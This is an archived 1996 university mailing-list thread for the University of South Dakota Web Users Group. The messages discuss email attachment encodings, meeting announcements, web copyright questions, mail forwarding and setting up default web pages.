| Vermillion, SD | `-------------------------' Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id RAA25228 for ; Wed, 8 May 1996 17:01:03 -0500 Received: from [192.236.45.17] (med17.med.usd.edu [192.236.45.17]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id QAA05703 for ; Wed, 8 May 1996 16:59:11 -0500 Message-Id: <199605082159.QAA05703@sunflowr.usd.edu> From: ""Barry Timms"" Subject: Attachments To: Multiple recipients of list Date: Wed, 8 May 96 16:57:31 PDT Encoding: 7 TEXT I am using 'Pathway' mail for my email and have received messages with attachments that fail to decode. The latest contained some hieroglyphics such as: x-mac-creator and content-transfer-encoding:base 64. When I asked a colleague to send a text-only text, it was still coded even though he confirmed that it was a dos text script. Can someone offer some help with this problem? X#@@% ^(++# .... oops, sorry, Barry Timms :) Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA22913 for ; Thu, 9 May 1996 14:52:52 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Thu, 9 May 1996 14:53:56 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 9 May 1996 14:56:15 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Next meeting May 31 Noon Web Users: The next meeting of the Web Users Group will be: Noon - 1:00, Friday, May 31 The place of the meeting will be announced shortly. Tentatively, a topic and presenter are available. I will let you know as soon details are firmed up. Dale PS Heidi will be gone for the next two weeks. As she is the ""owner"" of the WEBULA-L list, we will be ""ownerless."" Unless some really hot issues flame up, I'm guessing we will survive. Wait a minute -- weren't you going to dial in weekly, Heidi? Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<*>> http://www.usd.edu/~dfarland Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id IAA09480 for ; Fri, 10 May 1996 08:26:26 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Fri, 10 May 1996 8:27:31 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 10 May 1996 08:29:50 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Re: Attachments Barry, I still haven't used base 64 encoding (Brad James mentioned it a few weeks ago). There is software available on the net to decode base 64; I don't have the address -- again from Brad. You probably could do an AltaVista search and find it. An easier solution would be if your colleague's mail program allowed some other encoding that your software supported. The most common encoding in the Mac world in BINHEX 4.0 encoding which the program BINHEX 4.0 as well as Stuffit Expander handle (both freeware). Another common encoding is uuencoding (from the Unix world) and there are shareware programs that handle decoding uuencoding on the Mac (e.g. UULite 1.6). Basically what likely happened was that the text-only version was still encoded (into ASCII) by his mail software (probably the default) even though it didn't need to be. The conclusion is that the two of you need to ""negotiate"" the right file format (e.g. Word x.x) and the right encoding so as to minimize the hassle. Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<*>> http://www.usd.edu/~dfarland >I am using 'Pathway' mail for my email and have received messages with >attachments that fail to decode. The latest contained some hieroglyphics >such as: x-mac-creator and content-transfer-encoding:base 64. When I asked >a colleague to send a text-only text, it was still coded even though he >confirmed that it was a dos text script. >Can someone offer some help with this problem? >X#@@% ^(++# .... oops, sorry, Barry Timms :) Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id VAA25663 for ; Fri, 10 May 1996 21:43:27 -0500 Message-Id: <199605110243.VAA25663@sunbird.usd.edu> Received: from [192.236.46.6] by 192.236.46.6 with SMTP; Fri, 10 May 1996 21:44:16 -0500 (CDT) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 10 May 1996 21:44:02 -0600 To: webula-l@sunbird.usd.edu From: rbauld@charlie.usd.edu (Randall T. Bauld) Subject: Re: Reminder of meeting this Friday noon I do not think that this message should have been sent to webula, do not bite the hands that feed you. Dale works very hard to coordinate these meetings. If you look at the subject of this message it says: ""Reminder of meeting this Friday noon."" There was no time change. Thanks Dale for coordinating these meetings! Thanks to you other members for your patience in reading this late response. rbauld@charlie.usd.edu >On Wed, 1 May 1996, Dale S. Farland wrote: > >> A confirmation and reminder of the meeting: >> >> Friday, May 3, 12 - 1:00 in Education 107 > >When I arrived at 12:55, I was disappointed to learn that this meeting had >been rescheduled to noon. I am told that a notice was sent to Webula >about the change in time, but all I saw was something from somebody about >having something else on his schedule, mentioning what appeared to me to >be the wrong time for the meeting. I skimmed over it pretty fast and it >certainly didn't click with me that it was a formal rescheduling of the >meeting. > >In the future, if there are changes from the announced time, I'd >appreciate it if the messages were *very clear* that the time is changed >from what was originally announced, especially when multiple earlier >messages have given a different time. > >As it was, this would have been the first of the meetings that was >scheduled when I was able to attend, and I spent most of it sitting in >Charlies. :-) > > > > > --------------------------- > | Michael Marek | > | MMAREK@SUNFLOWR.USD.EDU | > | Vermillion, SD | > `-------------------------' Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id VAA15769 for ; Sun, 12 May 1996 21:16:19 -0500 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id VAA16458; Sun, 12 May 1996 21:15:40 -0500 Date: Sun, 12 May 1996 21:15:39 -0500 (CDT) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: webula-l@sunbird.usd.edu Subject: Re: Next meeting May 31 Noon In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 9 May 1996, Dale S. Farland wrote: > PS Heidi will be gone for the next two weeks. As she is the ""owner"" of > the WEBULA-L list, we will be ""ownerless."" Unless some really hot issues > flame up, I'm guessing we will survive. > > Wait a minute -- weren't you going to dial in weekly, Heidi? > What do you mean *weekly*? Daily! Nay, hourly! Ok, maybe daily. Sorta. But then, here I am in sunny Mexico, and when someone mentioned ""computer lab"" I started to twitch, so in order to save on medical expenses, they decided to let me feed my habit. :) I love email! See you all at the next meeting! Cheers, la rubia :) (Hey, this place is just like Vermillion--every one has a nickname! ) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Heidi M. Nickisch nickisch@sundance.usd.edu http://www.usd.edu/~nickisch/ Take a ride on the ___________________________ CLUE BUS, OK?!?! ? | ||__||__||__||__||__||__|| O> |_/==== C L U E B U S ====| *SHEESH!!* /| |_/--\\_________________/--\\_| .............................../.\\.......\\__/.................\\__/...... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id NAA13529 for ; Wed, 15 May 1996 13:08:41 -0500 Received: (from kzimm@localhost) by sundance.usd.edu (8.6.12/8.6.12) id NAA02525; Wed, 15 May 1996 13:07:59 -0500 Date: Wed, 15 May 1996 13:07:59 -0500 (CDT) From: Karen Zimmerman X-Sender: kzimm@sundance To: webula-l@sunbird.usd.edu Subject: WebWhacker Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi... hope you don't mind a question from a USD-escapee... Have any of you used WebWhacker or know anything about it? I've seen information about it online--it downloads html files from online for viewing on computer without being online. I wonder if it acts as its own browser as well or if you still need Netscape or other browser to view the files on the computer.... Anyone? --Karen Zimmerman zimmerma@blue.weeg.uiowa.edu among others. Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id NAA14502 for ; Wed, 15 May 1996 13:41:13 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Wed, 15 May 1996 13:42:17 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 15 May 1996 13:44:39 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Re: WebWhacker Karen, Good to hear from you! The list ""owner"" is basking in sunny Mexico so you can probably get away with a question from off-campus :-). >hope you don't mind a question from a USD-escapee... > I've seen the software, downloaded it, but haven't actually used it yet (TIME!) If we don't hear from anyone else, I'll give it a try and let you know about the browser part of the question. Discussion on another list I'm on suggests it works very well for ""grabbing"" html, graphics etc., and links as far as you want to go and stores them in a useable form on your hard drive. Interestingly, the discussion has gone on at LENGTH about the copyright issues involved in doing the grabbing (fair use, . . . ). Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland >Have any of you used WebWhacker or know anything about it? I've seen >information about it online--it downloads html files from online for >viewing on computer without being online. I wonder if it acts as its own >browser as well or if you still need Netscape or other browser to view >the files on the computer.... > >Anyone? > >--Karen Zimmerman > zimmerma@blue.weeg.uiowa.edu among others. Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id NAA16464 for ; Thu, 23 May 1996 13:14:16 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Thu, 23 May 1996 13:15:24 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 23 May 1996 13:17:47 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: WUG Meeting Noon, May 31 - Educ. 107 The next meeting of the Web Users Group will be: Noon, Friday, May 31 in Room 107 of the Education Building The announced, special topic for the meeting is: Copyright and the World Wide Web I'm not sure if we will have any ""special speakers"" at the meeting, except for each of you who will be very special if you attend! PLEASE, share on the list between now and the 31st any resources and/or questions that you have on this topic. Also, read my comments below to get a flavor for the nature of the issue. Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland -----> As an introduction to the topic: <----- Most of us would agree that it is a violation of copyright to copy from a Web page that is clearly marked as ""Copyrighted, under no circumstances can this material be copied for any reason!"" On the other hand, the most common practice on the Web is to link pages to other Web pages. -- Maureen Battistella tells me there is a current court case in which including a specific URL on a Web page, without permission, is being challenged. - The way current GUI Web browsers work is to copy the contents of the page into your computer's memory and generally onto the hard disk drive in a cache. Is this copying legal? -- To make the Web even more interesting, from a recent discussion on the EDTECH listserv: >From: Jim Ellsworth >Subject: Re: WebWhacker & Copyright (was: Intranets (Web with no Web)) >To: Multiple recipients of list EDTECH >OUR WebSite isn't there for maximum possible exposure. In fact, it is >technically a violation of federal law for anyone outside the US Government >to use it. and from a follow-up message, also from Jim: >As I stated in my original message it is a violation OF FEDERAL LAW. For >those who want to know the picky details, it's Title 18, US Code, which >states (in part) that ""All DoD interest computer systems and related >equipment are intended for the communication, transmission, processing, and >storage of official U.S. Government or other authorized information only"" >and restricts such use to DoD or other authorized government personnel. The point was that even though their Web site is not behind a firewall, nor password protected, it is against Fed. Law to look at it. Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id SAA28715 for ; Tue, 28 May 1996 18:59:35 -0500 From: MBATTIST@charlie.usd.edu Date: Tue, 28 May 1996 19:00:44 -0500 (CDT) To: webula-l@sunbird.usd.edu Message-Id: <960528190044.9230@charlie.usd.edu> Subject: Copyright: Links From: SMTP%""mbattist@sunflowr.usd.edu"" 28-MAY-1996 18:58:51.17 To: MBATTIST CC: Subj: Re: Copyright: links Date: Tue, 28 May 1996 18:56:45 -0500 (CDT) From: Maureen Battistella X-Sender: mbattist@sundance To: mbattist@charlie.usd.edu Subject: Re: Copyright: links Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ------------------------------------------------------------------------------- > > -- Maureen Battistella tells me there is a current court case in which > including a specific URL on a Web page, without permission, is being > challenged. Hi all: I'm sitting here hoping that I can backtrack on my off the cuff comment to Dale. There was some news brief in one of five weekly rags I receive that mentioned bringing charges against the author of The Stalker's Home Page for linking to www.abii.com. Abii is the Omaha company that puts out ProPhone (or SelectPhone?) CDROM products. Abii argued that the Stalker's link mis-represented their product by association with a negative resource. Further the link provided unauthorized access to Abii's proprietary data and search engine. I'll keep looking for this brief as the possibility of asking for permission before linking externally is quite daunting. I don't think I'll contact the Stalker to inquire though if I can't find it. M. Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id JAA27588 for ; Thu, 30 May 1996 09:26:00 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Thu, 30 May 1996 9:27:09 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Thu, 30 May 1996 09:29:34 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Meeting reminder Just a reminder that the Web Users Group meeting is on for this Friday noon (May 31). We'll meet again in Education 107. The agenda is copyright questions and as a special treat, Heidi will show slides of her vacation (that's a joke, I think, but if she has a few on her Web page already, I suppose we could take a look at them). Of course, there will be time for other items (e.g. a follow-up on password access for dial-in PPP?) Hope to see you Friday! Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA00886 for ; Thu, 30 May 1996 11:58:01 -0500 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id LAA03971; Thu, 30 May 1996 11:57:04 -0500 Date: Thu, 30 May 1996 11:57:04 -0500 (CDT) From: Michael Marek X-Sender: mmarek@sundance To: Webula List Subject: Addressing Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I discovered today, by accident, that my address, mmarek@sunflowr.usd.edu, can be abbreviated to mmarek@usd.edu. I recall several months ago being told that this would work for CHARLIE accounts but NOT on with the UNIX accounts. Does anyone know when this change was made for the SUN servers? --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id MAA01989 for ; Thu, 30 May 1996 12:57:06 -0500 From: COLLETTE@charlie.usd.edu Date: Thu, 30 May 1996 12:58:15 -0500 (CDT) To: webula-l@sunbird.usd.edu Message-Id: <960530125815.b66b@charlie.usd.edu> Subject: RE: Addressing >I discovered today, by accident, that my address, >mmarek@sunflowr.usd.edu, can be abbreviated to mmarek@usd.edu. I recall >several months ago being told that this would work for CHARLIE accounts >but NOT on with the UNIX accounts. > >Does anyone know when this change was made for the SUN servers? This is not a change. This is the way things have always worked. the domain usd.edu is set up so that any mail addressed to xxxxx@usd.edu will first be delivered to charlie (if xxxxx has an acount on charlie) then to the suns. So if you only have an account on charlie or only have an account on the Suns there is no problem. However if you have an account on both the mail will be delivered to charlie, but if you do mail forwarding from charlie to the suns everything still works. So for most people xxxxxxx@usd.edu is a valid e-mail address and will work just fine. -Joe Collette Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA03736 for ; Thu, 30 May 1996 14:17:11 -0500 Received: from clehmann.hist.usd.edu by charlie.usd.edu with SMTP; Thu, 30 May 1996 14:18:20 -0500 (CDT) Received: by clehmann.hist.usd.edu with Microsoft Mail id <01BB4E32.9B150D00@clehmann.hist.usd.edu>; Thu, 30 May 1996 14:16:34 -0500 Message-ID: <01BB4E32.9B150D00@clehmann.hist.usd.edu> From: Clayton Miles Lehmann To: ""'webula-l@sunbird.usd.edu'"" Subject: RE: Addressing Date: Thu, 30 May 1996 14:16:32 -0500 Encoding: 4 TEXT, 30 UUENCODE X-MS-Attachment: WINMAIL.DAT 0 00-00-1980 00:00 I have accounts on charlie and the suns. Because I rarely check suns I would like to have any mail to me @sun* forwarded to me @charlie. Is there an easy way for me to set up automatic forwarding on the suns? Clayton begin 600 WINMAIL.DAT M>)\\^(B(3`0:0"" `$```````!``$``0>0!@`(````Y 0```````#H``$-@ 0` M`@````(``@`!!) &`#0!```!````# ````,``# #````""P`/#@`````""`?\\/ M`0```$\\`````````@2L?I+ZC$!F=;@#=`0]4`@````!W96)U;&$M;$!S=6YB M:7)D+G5S9""YE9'4`4TU44 !W96)U;&$M;$!S=6YB:7)D+G5S9""YE9'4``!X` M`C !````!0```%--5% `````'@`#, $````9````=V5B=6QA+6Q ``$P`0```!L````G=V5B M=6QA+6Q ````4TU44#I714)5 M3$$M3$!354Y""25)$+E531""Y%1%4````#```Y``````L`0#H!`````@'V#P$` M```$`````````XL[`0B !P`8````25!-+DUI8W)O``X` M$ `@``0`. $!(( #``X```#,!P4`'@`.``X`,@`$`$@!`0F `0`A````-D)$ M.#5#1#,R-$)!0T8Q,3DR.#,P,# P,40P-D0S14,`)P M`' ``0````\\```!213H@061D# $````%````4TU44 `````>`!\\,`0`` M`!D```!C;&5H;6%N;D!C:&%R;&EE+G5S9""YE9'4``````P`&$,,J`2<#``<0 MK ```!X`""! !````90```$E(059%04-#3U5.5%-/3D-(05),245!3D142$53 M54Y30D5#055314E205)%3%E#2$5#2U-53E-)5T]53$1,24M%5$](059%04Y9 M34%)3%1/345 4U5.*D9/4E=!4D1%1%1/344``````@$)$ $````J`0``)@$` M`+(!``!,6D9U<:5^C?\\`""@$/`A4""J 7K`H,`4 +R""0(`8V@*P'-E=#(W!@`& MPP*#,@/%`@!P)S=&5M`H,S]P+D!Q,""@'T*@ C/""=D""@ <*@0VQ""V!N M9S$P,X\\44 L*%%$+\\2!)(!& V'9E( #0!:!U`C $(#4""("" 1D1&Q(#1UD&X*A14Q``$H$ ```P`0$ `````#`!$0`````$ ` L!S @I&]&7$Z[`4 `""# @I&]&7$Z[`1X`/0`!````!0```%)%.B `````C: ` ` end Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA04068 for ; Thu, 30 May 1996 14:33:37 -0500 From: COLLETTE@charlie.usd.edu Date: Thu, 30 May 1996 14:34:46 -0500 (CDT) To: webula-l@sunbird.usd.edu Message-Id: <960530143446.b66b@charlie.usd.edu> Subject: RE: Addressing >I have accounts on charlie and the suns. Because I rarely check suns I >would like to have any mail to me @sun* forwarded to me @charlie. Is there >an easy way for me to set up automatic forwarding on the suns? >Clayton Create a file named .forward in your home directory on the Suns in this file place the address that you would like you mail forwarded to you. -Joe Collette Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id QAA24818 for ; Fri, 31 May 1996 16:10:59 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Fri, 31 May 1996 16:12:09 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Fri, 31 May 1996 16:14:34 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Web page address (Copyright) Web Users Group: Thanks to all who were able to attend the meeting today (I was surprised by the turn-out), especially for your contributions to the discussion. We probably do need to think of strategies for forming answers to some of the intellectual property questions. It occurs to me that I didn't say much about the page that we looked at during the meeting. I would encourage you to take a look at some of the resources listed there. The address is: http://www.usd.edu/intec/copyright.html As I said at the end of the meeting, if anyone has questions or answers, please share them via webula-l. If someone would like to take on the task of putting together a more organized, thorough, and authoritative set of pages, I'm sure there are a number of us who would be willing to assist. Volunteers and/or nominees will be accepted! Thanks again, Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland Received: from [192.236.47.118] (jayhawk.ed.usd.edu [192.236.47.118]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id VAA28395 for ; Fri, 31 May 1996 21:06:01 -0500 Date: Fri, 31 May 1996 21:06:01 -0500 X-Sender: jsumner@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: jsumner@sunbird.usd.edu (Sumner, Jack) Subject: Re: Web page address (Copyright) >Web Users Group: > >Thanks to all who were able to attend the meeting today (I was surprised by >the turn-out), especially for your contributions to the discussion. We >probably do need to think of strategies for forming answers to some of the >intellectual property questions. > >It occurs to me that I didn't say much about the page that we looked at >during the meeting. I would encourage you to take a look at some of the >resources listed there. The address is: > > http://www.usd.edu/intec/copyright.html > >As I said at the end of the meeting, if anyone has questions or answers, >please share them via webula-l. If someone would like to take on the task >of putting together a more organized, thorough, and authoritative set of >pages, I'm sure there are a number of us who would be willing to assist. >Volunteers and/or nominees will be accepted! > >Thanks again, > >Dale > > Dale S. Farland, InTEC, School of Education (x5844) > dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland thanks dale..sounds interesting... JSumner@charlie.usd.edu Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id AAA00703 for ; Sat, 1 Jun 1996 00:46:13 -0500 Received: from [192.55.228.124] (ppp17.usd.edu [192.55.228.124]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id AAA29331 for ; Sat, 1 Jun 1996 00:42:42 -0500 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Sat, 1 Jun 1996 00:53:38 -0600 To: webula-l@sunbird.usd.edu From: bwjames@sunflowr.usd.edu (brad james) Subject: privacy: -- good article for thought I ran across this article from c-net central about privacy in the digital age. I thought it was pretty interesting. http://www.cnet.com/Content/Features/Dlife/Privacy/ Especially note-worthy as they had an add for 2 tickets to Mexico at the top of the page (it might be different when you look -- not sure how their advertisement is set up!) later bwjames@sunbird.usd.edu (brad james) Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id LAA29114 for ; Mon, 3 Jun 1996 11:06:50 -0500 From: MBATTIST@charlie.usd.edu Date: Mon, 3 Jun 1996 11:08:01 -0500 (CDT) To: webula-l@sunbird.usd.edu Message-Id: <960603110801.1082d@charlie.usd.edu> Subject: Electronic Copyright Hi all: The satellite conference I attended last year was called ""Multimedia Fair Use"", and organized by the Consortium of college and University Media Centers. The executive director, Don Reit, says that there are approximately 40 organizations participating in drafting guidelines for new areas if copyright protection. The draft guidelines are to be finalized this summer and presented to congress at that time. The consortium expects to have an implementation satellite conference in early 1997. Reit is sending a copy of the draft guidelines (they are not on the net). When I receive them, I will put them on reserve at the Lommen Health Sciences Library circulation desk along with the material from the 1995 satellite conference and let all of you know. I hope that this is helpful. Maureen Battistella Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA17537 for ; Tue, 4 Jun 1996 11:40:05 -0500 Received: from ACHCOOR.SSS.USD.EDU (achcoor.sss.usd.edu [192.236.44.161]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id LAA15775 for ; Tue, 4 Jun 1996 11:36:32 -0500 Date: Tue, 4 Jun 1996 11:36:32 -0500 Message-Id: <1.5.4.16.19960604114234.2c77822a@sunflowr.usd.edu> X-Sender: bwjames@sunflowr.usd.edu X-Mailer: Windows Eudora Light Version 1.5.4 (16) Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: webula-l@sunbird.usd.edu From: brad james Subject: Cyberspace Law for Non-Lawyers Address and information below is taken from a ""Tidbits"" article #331/03-Jun-96 pointing to Cyberspace Law for Non-Lawyers **Cyberspace Law for Non-Lawyers** -- If you've wondered about legal issues that relate to the Internet and wondered about the validity of free legal advice from people who play lawyers on the net, check out a free electronic course being presented by the Cyberspace Law Institute and Counsel Connect. It starts today and will be run via email at the rate of three messages per week. The mailing list is one-way only, but its Web site provides a discussion area. The course covers six areas of law: copyright, privacy, trademark, libel, free expression, and contracting. The course does focus on United States law but still might interest folks in other countries. To subscribe, send email to with the command ""subscribe cyberspace-law Your Name"" in the body of the message. [ACE] -------------------------------------------------------- ""DOS Computers manufactured by companies such as IBM, Compaq, Tandy, and millions of others are by far the most popular, with about 70 million machines in use worldwide. Macintosh fans, on the other hand, may note that cockroaches are far more numerous than humans, and that numbers alone do not denote a higher life form."" -New York Times, November 26, 1991 bwjames@sunbird.usd.edu Brad James Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id SAA29103 for ; Tue, 11 Jun 1996 18:16:57 -0500 From: MBATTIST@charlie.usd.edu Date: Tue, 11 Jun 1996 18:18:10 -0500 (CDT) To: webula-l@sunbird.usd.edu Message-Id: <960611181810.bc34@charlie.usd.edu> Subject: Fair Use Guidelines for Educational Multimedia Hi all: The proposed Fair Use Guidelines for Educational Multimedia will be on reserve at the Lommen Health Sciences Library this Wednesday or Thursday for your review. Included in the document are permitted uses of copyrighted works, permitted uses of educational multimedia programs created under the guidelines by students, educators, and at peer conferences, limitations (time and portion for different media, definitions, and a list of the 40 member organizations making up the CCUMC Fair Use Multimedia Guideline Committee. Best regards, Maureen Battistella Lommen Health Sciences Library University of South Dakota School of Medicine Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id NAA16813 for ; Wed, 12 Jun 1996 13:52:07 -0500 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id NAA00045; Wed, 12 Jun 1996 13:50:56 -0500 Date: Wed, 12 Jun 1996 13:50:55 -0500 (CDT) From: Michael Marek X-Sender: mmarek@sundance To: Webula List Subject: URL Addressing Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have a question about URLs and html file names, and the way they interact. My personal web page is at http://www.usd.edu/~mmarek/mmarek.html How do I arrange the file names, etc, so that this location can be reached by entering only: http://www.usd.edu/~mmarek I am interested in the same kind of addressing for the USD Foundation page, which is at http://www.usd.edu/foundation/alumni.html I'd rather have the address be http://www.usd.edu/foundation It is my impression, at least, that this is possible. --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id OAA17913 for ; Wed, 12 Jun 1996 14:29:16 -0500 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id OAA22914 for ; Wed, 12 Jun 1996 14:25:11 -0500 Date: Wed, 12 Jun 1996 14:28:04 -0500 (CDT) From: Joe Reynoldson X-Sender: jreynold@sundance To: webula-l@sunbird.usd.edu Subject: Re: URL Addressing In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > How do I arrange the file names, etc, so that this location can be > reached by entering only: http://www.usd.edu/~mmarek This can be done by naming a file index.html. For instance, in your web directory of your personal account (mmarek), rename the file you want to be the default file to index.html. Then the address you gave above (http://www.usd.edu/~mmarek/) will be valid. This will prevent you from looking at a listing of your directory through a web browser. In other words, if you have a directory which you would like to be able to view in a browser, you cannot have an index.html file in that directory (and the directory permissions must be 755!). Hope this helps. Joe (with or without hat) Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id PAA20321 for ; Wed, 12 Jun 1996 15:39:15 -0500 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Wed, 12 Jun 1996 15:40:26 -0500 (CDT) Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 12 Jun 1996 15:42:54 -0500 To: webula-l@sunbird.usd.edu From: dfarland@sunflowr.usd.edu (Dale S. Farland) Subject: Next meeting -- Java is on! Web Users Group: Meeting! Next Friday, June 28 from 12:00 N - 1:00 PM ***------> Arts & Science rm 19 <------*** All come and let Carol Lushbough give you an introduction to Java. She has promised to show some examples, and I'm guessing that she will be willing to answer questions. She DID NOT say anything about coffee being available! Anyway, I think it will too warm outside. My regrets (so no one thinks I don't want to hear what she has to say), I'll be out of town. In my absence, I have confidence that Heidi will be more than happy to introduce Carol and make sure that any other discussion leaves time for Carol. (Right, Heidi?) Dale Dale S. Farland, InTEC, School of Education (x5844) dfarland@sunbird.usd.edu <<+>> http://www.usd.edu/~dfarland Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id TAA24769 for ; Wed, 12 Jun 1996 19:44:58 -0500 Received: (from nickisch@localhost) by sundance.usd.edu (8.6.12/8.6.12) id TAA10984; Wed, 12 Jun 1996 19:43:48 -0500 Date: Wed, 12 Jun 1996 19:43:47 -0500 (CDT) From: ""Heidi M. Nickisch"" X-Sender: nickisch@sundance To: webula-l@sunbird.usd.edu Subject: Re: Next meeting -- Java is on! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 12 Jun 1996, Dale S. Farland wrote: > Web Users Group: > > Meeting! > > Next Friday, June 28 from 12:00 N - 1:00 PM > > ***------> Arts & Science rm 19 <------*** > *snip* > In my absence, I have confidence that Heidi will be > more than happy to introduce Carol and make sure 